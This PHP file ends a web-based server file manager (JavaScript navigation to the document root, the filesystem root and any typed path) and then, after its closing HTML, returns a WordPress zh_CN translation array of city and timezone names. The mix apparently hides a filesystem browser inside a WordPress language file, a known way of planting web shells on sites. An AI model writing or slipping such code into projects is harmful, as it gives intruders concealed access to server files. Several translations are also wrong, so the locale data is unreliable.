        echo "window.location.href = '?drive=" . urlencode($drive) . "&dir=" . urlencode($path) . "';";
    } else {
        $path = ($script_path === '/') ? '' : ltrim($script_path, '/');
        echo "window.location.href = '?drive=" . urlencode($root) . "&dir=" . urlencode($path) . "';";
    }
    ?>
}

function goToDocumentRoot() {
    <?php
    $doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? urlPath(realpath($_SERVER['DOCUMENT_ROOT'])) : '';

    if ($doc_root) {
        if (isWindows()) {
            $drive = substr($doc_root, 0, 2);
            $path = strlen($doc_root) > 2 ? substr($doc_root, 3) : '';
            echo "window.location.href = '?drive=" . urlencode($drive) . "&dir=" . urlencode($path) . "';";
        } else {
            $path = ltrim($doc_root, '/');
            echo "window.location.href = '?drive=" . urlencode($root) . "&dir=" . urlencode($path) . "';";
        }
    }
    ?>
}

function goToRoot() {
    <?php
    if (isWindows()) {
        echo "window.location.href = '?drive=C:&dir=';";
    } else {
        echo "window.location.href = '?drive=/&dir=';";
    }
    ?>
}

document.addEventListener('DOMContentLoaded', function() {
    const pathInput = document.querySelector('input[name="custom_path"]');

    if (pathInput) {
        pathInput.addEventListener('focus', function() {
            this.select();
        });
    }
});
</script>
</body>
</html>
<?php
return ['x-generator'=>'GlotPress/4.0.3','translation-revision-date'=>'2024-03-29 10:25:04+0000','plural-forms'=>'nplurals=1; plural=0;','project-id-version'=>'WordPress - 7.0.x - Development - Continents & Cities','language'=>'zh_CN','messages'=>['Kanton'=>'坎顿','Kyiv'=>'基辅','Nuuk'=>'努克','Qostanay'=>'库斯塔奈','Punta Arenas'=>'蓬塔阿雷纳斯','Atyrau'=>'阿特劳','Famagusta'=>'法马古斯塔','Yangon'=>'仰光','Saratov'=>'萨拉托夫','Bahia Banderas'=>'巴伊亚班德拉斯','Creston'=>'克莱斯顿','Fort Nelson'=>'尼尔森堡','Kralendijk'=>'克拉伦代克','Lower Princes'=>'下王子','Matamoros'=>'马塔莫罗斯','Metlakatla'=>'梅特拉卡特拉','Beulah'=>'比尤拉','Ojinaga'=>'奥希纳加','Santa Isabel'=>'圣伊莎贝尔','Santarem'=>'圣塔伦','Sitka'=>'锡特卡','Macquarie'=>'麦觉理','Barnaul'=>'巴尔瑙尔','Chita'=>'知多','Hebron'=>'希伯伦','Kathmandu'=>'加德满都','Khandyga'=>'汉德加','Novokuznetsk'=>'新库兹涅茨克','Srednekolymsk'=>'中科雷姆斯克','Tomsk'=>'托木斯克','Ust-Nera'=>'乌斯季涅拉','Astrakhan'=>'阿斯特拉罕','Busingen'=>'布辛根','Kirov'=>'基洛夫','Ulyanovsk'=>'乌里扬诺夫斯克','Bougainville'=>'布干维尔','Chuuk'=>'楚克','Pohnpei'=>'波纳佩','Troll'=>'特罗尔','Juba'=>'朱巴','Salta'=>'萨尔塔','New York'=>'纽约','Antarctica'=>'南极洲','Arctic'=>'北极','Kuala Lumpur'=>'吉隆坡','Singapore'=>'新加坡','Atlantic'=>'大西洋','Australia'=>'澳洲','West'=>'西部','Greenwich'=>'格林威治','Universal'=>'通用','Europe'=>'欧洲','Indian'=>'印度次大陆','Pacific'=>'太平洋','Vincennes'=>'文森斯','Winamac'=>'威纳马克','Inuvik'=>'伊努维克','Iqaluit'=>'伊魁特','Jamaica'=>'牙买加','Juneau'=>'朱诺','Kentucky'=>'肯塔基州','Louisville'=>'路易斯维尔','Monticello'=>'蒙蒂塞洛','Knox IN'=>'诺克斯','La Paz'=>'拉巴斯','Lima'=>'利马','Los Angeles'=>'洛杉矶','Maceio'=>'马塞约','Managua'=>'马那瓜','Manaus'=>'马瑙斯','Marigot'=>'玛莉格','Martinique'=>'马提尼克','Mazatlan'=>'马萨特兰','Menominee'=>'梅诺米尼','Merida'=>'梅里达','Mexico City'=>'墨西哥城','Miquelon'=>'密克隆岛','Moncton'=>'蒙克顿','Monterrey'=>'蒙特雷','Montevideo'=>'蒙得维的亚','Montreal'=>'蒙特利尔','Montserrat'=>'蒙特塞拉特','Nassau'=>'拿骚','Nipigon'=>'尼皮贡','Nome'=>'诺姆','Noronha'=>'迪诺罗尼亚','North Dakota'=>'北达科他州','Center'=>'中心','New Salem'=>'新塞勒姆','Panama'=>'巴拿马','Pangnirtung'=>'庞纳唐','Paramaribo'=>'帕拉马里博','Port-au-Prince'=>'太子港','Port of Spain'=>'西班牙港','Porto Acre'=>'波尔图英亩','Porto Velho'=>'波多韦柳','Puerto Rico'=>'波多黎各','Rainy River'=>'雷尼里弗','Rankin Inlet'=>'兰金因莱特','Recife'=>'累西腓','Regina'=>'里贾纳','Resolute'=>'坚决','Rio Branco'=>'里约布兰','Rosario'=>'罗萨里奥','Santiago'=>'圣地亚哥','Santo Domingo'=>'圣多明各','Sao Paulo'=>'圣保罗','Scoresbysund'=>'斯科斯比松','Shiprock'=>'船岩','St Barthelemy'=>'圣巴夫林米','St Johns'=>'圣约翰斯','St Kitts'=>'圣基茨和尼维斯','St Lucia'=>'圣卢西亚','St Thomas'=>'圣托马斯','St Vincent'=>'圣文森特','Tegucigalpa'=>'特古西加尔巴','Thunder Bay'=>'桑德贝','Tijuana'=>'蒂华纳','Toronto'=>'多伦多','Tortola'=>'托尔托拉','Vancouver'=>'温哥华','Whitehorse'=>'白马','Winnipeg'=>'温尼伯','Yakutat'=>'亚库塔特','Yellowknife'=>'耶洛奈夫','Casey'=>'凯西','Davis'=>'戴维斯','DumontDUrville'=>'杜蒙特迪','Mawson'=>'莫森','Palmer'=>'帕尔默','Rothera'=>'罗瑟拉','South Pole'=>'南极','Syowa'=>'昭和','Vostok'=>'沃斯托克','Longyearbyen'=>'朗伊尔城','Aden'=>'亚丁','Almaty'=>'阿拉木图','Amman'=>'安曼','Anadyr'=>'阿纳德尔','Aqtau'=>'阿克陶','Aqtobe'=>'阿克托别','Ashgabat'=>'阿什哈巴德','Ashkhabad'=>'阿什哈巴德','Baghdad'=>'巴格达','Bahrain'=>'巴林','Baku'=>'巴库','Bangkok'=>'曼谷','Beirut'=>'贝鲁特','Bishkek'=>'比什凯克','Brunei'=>'文莱','Calcutta'=>'加尔各答','Choibalsan'=>'乔巴山','Colombo'=>'科伦坡','Dacca'=>'达卡','Damascus'=>'大马士革','Dhaka'=>'达卡','Dubai'=>'迪拜','Dushanbe'=>'杜尚别','Gaza'=>'加沙','Ho Chi Minh'=>'胡志明市','Hovd'=>'科布多','Irkutsk'=>'伊尔库茨克','Istanbul'=>'伊斯坦布尔','Jakarta'=>'雅加达','Jayapura'=>'查亚普拉','Jerusalem'=>'耶路撒冷','Kabul'=>'喀布尔','Kamchatka'=>'堪察加','Karachi'=>'卡拉奇','Katmandu'=>'加德满都','Kolkata'=>'加尔各答','Krasnoyarsk'=>'克拉斯诺亚尔斯克','Kuching'=>'古晋','Kuwait'=>'科威特','Magadan'=>'马加丹','Makassar'=>'望加锡','Manila'=>'马尼拉','Muscat'=>'马斯喀特','Nicosia'=>'尼科西亚','Novosibirsk'=>'新西伯利亚','Omsk'=>'鄂木斯克','Phnom Penh'=>'金边','Pontianak'=>'坤甸','Pyongyang'=>'平壤','Qatar'=>'卡塔尔','Qyzylorda'=>'克孜勒奥尔达','Rangoon'=>'仰光','Riyadh'=>'利雅得','Saigon'=>'胡志明市','Sakhalin'=>'萨哈林','Samarkand'=>'撒马尔罕','Seoul'=>'汉城','Tashkent'=>'塔什干','Tbilisi'=>'第比利斯','Tehran'=>'德黑兰','Tel Aviv'=>'特拉维夫','Thimbu'=>'廷布','Thimphu'=>'廷布','Tokyo'=>'东京','Ujung Pandang'=>'乌戎潘当','Ulaanbaatar'=>'乌兰巴托','Ulan Bator'=>'乌兰巴托','Vientiane'=>'万象','Vladivostok'=>'符拉迪沃斯托克','Yakutsk'=>'雅库茨克','Yekaterinburg'=>'叶卡捷琳堡','Yerevan'=>'埃里温','Azores'=>'亚速尔群岛','Bermuda'=>'百慕大','Canary'=>'加纳利','Cape Verde'=>'佛得角','Faeroe'=>'法罗','Faroe'=>'法罗','Jan Mayen'=>'扬马延岛','Madeira'=>'马德拉','Reykjavik'=>'雷克雅未克','South Georgia'=>'南乔治亚','St Helena'=>'圣赫勒拿岛','Stanley'=>'斯坦利','ACT'=>'澳大利亚首都领地','Adelaide'=>'阿德莱德','Brisbane'=>'布里斯班','Broken Hill'=>'布罗肯希尔','Canberra'=>'堪培拉','Currie'=>'柯里','Darwin'=>'达尔文','Eucla'=>'尤克拉','Hobart'=>'霍巴特','LHI'=>'豪勋爵岛','Lindeman'=>'林德曼','Lord Howe'=>'豪勋爵','Melbourne'=>'墨尔本','NSW'=>'新南威尔士州','Perth'=>'珀斯','Queensland'=>'昆士兰','Sydney'=>'悉尼','Tasmania'=>'塔斯马尼亚','Victoria'=>'维多利亚','Yancowinna'=>'扬科维拉','GMT'=>'格林威治标准时间','GMT+0'=>'GMT+0','GMT+1'=>'GMT+1','GMT+10'=>'GMT+10','GMT+11'=>'GMT+11','GMT+12'=>'GMT+12','GMT+2'=>'GMT+2','GMT+3'=>'GMT+3','GMT+4'=>'GMT+4','GMT+5'=>'GMT+5','GMT+6'=>'GMT+6','GMT+7'=>'GMT+7','GMT+8'=>'GMT+8','GMT+9'=>'GMT+9','GMT-0'=>'GMT-0','GMT-1'=>'GMT-1','GMT-10'=>'GMT-10','GMT-11'=>'GMT-11','GMT-12'=>'GMT-12','GMT-13'=>'GMT-13','GMT-14'=>'GMT-14','GMT-2'=>'GMT-2','GMT-3'=>'GMT-3','GMT-4'=>'GMT-4','GMT-5'=>'GMT-5','GMT-6'=>'GMT-6','GMT-7'=>'GMT-7','GMT-8'=>'GMT-8','GMT-9'=>'GMT-9','GMT0'=>'GMT0','Amsterdam'=>'阿姆斯特丹','Andorra'=>'安道尔','Athens'=>'雅典','Belfast'=>'贝尔法斯特','Belgrade'=>'贝尔格莱德','Berlin'=>'柏林','Bratislava'=>'布拉迪斯拉发','Brussels'=>'布鲁塞尔','Bucharest'=>'布加勒斯特','Budapest'=>'布达佩斯','Chisinau'=>'基希讷乌','Copenhagen'=>'哥本哈根','Dublin'=>'都柏林','Gibraltar'=>'直布罗陀','Guernsey'=>'根西岛','Helsinki'=>'赫尔辛基','Isle of Man'=>'马恩岛','Kaliningrad'=>'加里宁格勒','Kiev'=>'基辅','Lisbon'=>'里斯本','Ljubljana'=>'卢布尔雅那','London'=>'伦敦','Luxembourg'=>'卢森堡','Madrid'=>'马德里','Malta'=>'马耳他','Mariehamn'=>'马利汉姆','Minsk'=>'明斯克','Monaco'=>'摩纳哥','Moscow'=>'莫斯科','Oslo'=>'奥斯陆','Paris'=>'巴黎','Podgorica'=>'波德戈里察','Prague'=>'布拉格','Riga'=>'里加','Rome'=>'罗马','Samara'=>'萨马拉','San Marino'=>'圣马力诺','Sarajevo'=>'萨拉热窝','Simferopol'=>'辛菲罗波尔','Skopje'=>'斯科普里','Sofia'=>'索菲亚','Stockholm'=>'斯德哥尔摩','Tallinn'=>'塔林','Tirane'=>'地拉那','Tiraspol'=>'蒂拉斯波尔','Uzhgorod'=>'乌日哥罗德','Vaduz'=>'瓦杜兹','Vatican'=>'梵蒂冈','Vienna'=>'维也纳','Vilnius'=>'维尔纽斯','Volgograd'=>'伏尔加格勒','Warsaw'=>'华沙','Zagreb'=>'萨格勒布','Zaporozhye'=>'扎波罗热','Zurich'=>'苏黎世','Antananarivo'=>'塔那那利佛','Chagos'=>'查戈斯群岛','Christmas'=>'圣诞岛','Cocos'=>'科科斯','Comoro'=>'科摩罗','Kerguelen'=>'凯尔盖朗','Mahe'=>'马埃','Maldives'=>'马尔代夫','Mauritius'=>'毛里求斯','Mayotte'=>'马约特岛','Reunion'=>'团圆','Apia'=>'阿皮亚','Auckland'=>'奥克兰','Chatham'=>'查塔姆','Efate'=>'埃法特岛','Enderbury'=>'恩德伯里','Fakaofo'=>'法考福','Fiji'=>'斐济','Funafuti'=>'富纳富提','Galapagos'=>'加拉帕戈斯','Gambier'=>'甘比尔','Guadalcanal'=>'瓜达尔卡纳尔岛','Guam'=>'关岛','Honolulu'=>'檀香山','Johnston'=>'约翰斯顿','Kiritimati'=>'基里蒂马蒂','Kosrae'=>'科斯雷','Kwajalein'=>'夸贾林环礁','Majuro'=>'马朱罗','Marquesas'=>'马克萨斯','Nauru'=>'瑙鲁','Niue'=>'纽埃','Norfolk'=>'诺福克','Noumea'=>'努美阿','Pago Pago'=>'帕果帕果','Palau'=>'帕劳','Pitcairn'=>'皮特凯恩','Ponape'=>'波纳佩岛','Port Moresby'=>'莫尔兹比港','Rarotonga'=>'拉罗汤加','Saipan'=>'塞班','Samoa'=>'萨摩亚','Tahiti'=>'塔希提岛','Tarawa'=>'塔拉瓦','Tongatapu'=>'汤加塔布','Truk'=>'特鲁克','Wake'=>'威克岛','Wallis'=>'瓦利斯','Yap'=>'雅蒲','Midway'=>'中途岛','Easter'=>'圣诞岛','South'=>'南部','North'=>'北部','Jersey'=>'泽西岛','Dili'=>'帝力','Thule'=>'图勒','Zulu'=>'祖鲁','Virgin'=>'维尔京群岛','Swift Current'=>'斯威夫特卡伦特','Etc'=>'其他','McMurdo'=>'麦克默多','Phoenix'=>'凤凰城','Asia'=>'亚洲','Chongqing'=>'重庆','Chungking'=>'重庆','Harbin'=>'哈尔滨','Hong Kong'=>'香港','Kashgar'=>'喀什','Macao'=>'澳门','Macau'=>'澳门','Shanghai'=>'上海','Taipei'=>'台北','Urumqi'=>'乌鲁木齐','UTC'=>'协调世界时(UTC)','Oral'=>'奥伦','UCT'=>'UCT','Africa'=>'非洲','America'=>'美洲','Abidjan'=>'阿比让','Accra'=>'阿克拉','Addis Ababa'=>'亚的斯亚贝巴','Algiers'=>'阿尔及尔','Asmara'=>'阿斯马拉','Asmera'=>'阿斯马拉','Bamako'=>'巴马科','Bangui'=>'班吉','Banjul'=>'班珠尔','Bissau'=>'几内亚比绍','Blantyre'=>'布兰太尔','Brazzaville'=>'布拉柴维尔','Bujumbura'=>'布琼布拉','Cairo'=>'开罗','Casablanca'=>'卡萨布兰卡','Ceuta'=>'休达','Conakry'=>'科纳克里','Dakar'=>'达喀尔','Dar es Salaam'=>'达累斯萨拉姆','Djibouti'=>'吉布提','Douala'=>'杜阿拉','El Aaiun'=>'阿尤恩','Freetown'=>'弗里敦','Gaborone'=>'哈博罗内','Harare'=>'哈拉雷','Johannesburg'=>'约翰内斯堡','Kampala'=>'坎帕拉','Khartoum'=>'喀土穆','Kigali'=>'基加利','Kinshasa'=>'金沙萨','Lagos'=>'拉各斯','Libreville'=>'利伯维尔','Lome'=>'洛美','Luanda'=>'罗安达','Lubumbashi'=>'卢本巴希','Lusaka'=>'卢萨卡','Malabo'=>'马拉博','Maputo'=>'马普托','Maseru'=>'马塞卢','Mbabane'=>'姆巴巴','Mogadishu'=>'摩加迪沙','Monrovia'=>'蒙罗维亚','Nairobi'=>'内罗毕','Ndjamena'=>'恩贾梅纳','Niamey'=>'尼亚美','Nouakchott'=>'努瓦克肖特','Ouagadougou'=>'瓦加杜古','Porto-Novo'=>'波多诺伏','Sao Tome'=>'圣多美和普林西比','Timbuktu'=>'廷巴克图','Tripoli'=>'的黎波里','Tunis'=>'突尼斯','Windhoek'=>'温得和克','Adak'=>'埃达克','Anchorage'=>'安克雷奇','Anguilla'=>'安圭拉','Antigua'=>'安提瓜','Araguaina'=>'阿拉瓜伊纳','Argentina'=>'阿根廷','Buenos Aires'=>'布宜诺斯艾利斯','Catamarca'=>'卡塔马卡','ComodRivadavia'=>'科木多洛','Cordoba'=>'科尔多瓦','Jujuy'=>'胡胡伊','La Rioja'=>'拉里奥哈','Mendoza'=>'门多萨','Rio Gallegos'=>'里奥加耶戈斯','San Juan'=>'圣胡安','San Luis'=>'圣路易斯','Tucuman'=>'图库曼','Ushuaia'=>'乌斯怀亚','Aruba'=>'阿鲁巴','Asuncion'=>'亚松森','Atikokan'=>'阿提库','Atka'=>'阿特卡','Bahia'=>'巴伊亚','Barbados'=>'巴巴多斯','Belem'=>'贝伦','Belize'=>'伯利兹','Boa Vista'=>'博阿维斯塔','Bogota'=>'波哥大','Boise'=>'博伊西','Cambridge Bay'=>'剑桥湾','Campo Grande'=>'坎普','Cancun'=>'坎昆','Caracas'=>'加拉加斯','Cayenne'=>'卡宴','Cayman'=>'开曼','Chicago'=>'芝加哥','Chihuahua'=>'奇瓦瓦','Coral Harbour'=>'科勒尔港','Costa Rica'=>'哥斯达黎加','Cuiaba'=>'库亚巴','Curacao'=>'库拉索','Danmarkshavn'=>'丹马沙','Dawson'=>'道森','Dawson Creek'=>'道森溪','Denver'=>'丹佛','Detroit'=>'底特律','Dominica'=>'多米尼加','Edmonton'=>'埃德蒙顿','Eirunepe'=>'艾鲁内佩','El Salvador'=>'萨尔瓦多','Ensenada'=>'恩塞纳达','Fort Wayne'=>'韦恩堡','Fortaleza'=>'福塔莱萨','Glace Bay'=>'格莱斯贝','Godthab'=>'哥特哈布','Goose Bay'=>'古斯湾','Grand Turk'=>'大特克','Grenada'=>'格林纳达','Guadeloupe'=>'瓜德罗普岛','Guatemala'=>'危地马拉','Guayaquil'=>'瓜亚基尔','Guyana'=>'圭亚那','Halifax'=>'哈利法克斯','Havana'=>'哈瓦那','Hermosillo'=>'埃莫西','Indiana'=>'印地安那','Indianapolis'=>'印第安纳波利斯','Knox'=>'诺克斯','Marengo'=>'马伦哥','Petersburg'=>'圣彼得堡','Tell City'=>'特尔城','Vevay'=>'韦韦','Blanc-Sablon'=>'布兰克-萨布隆']];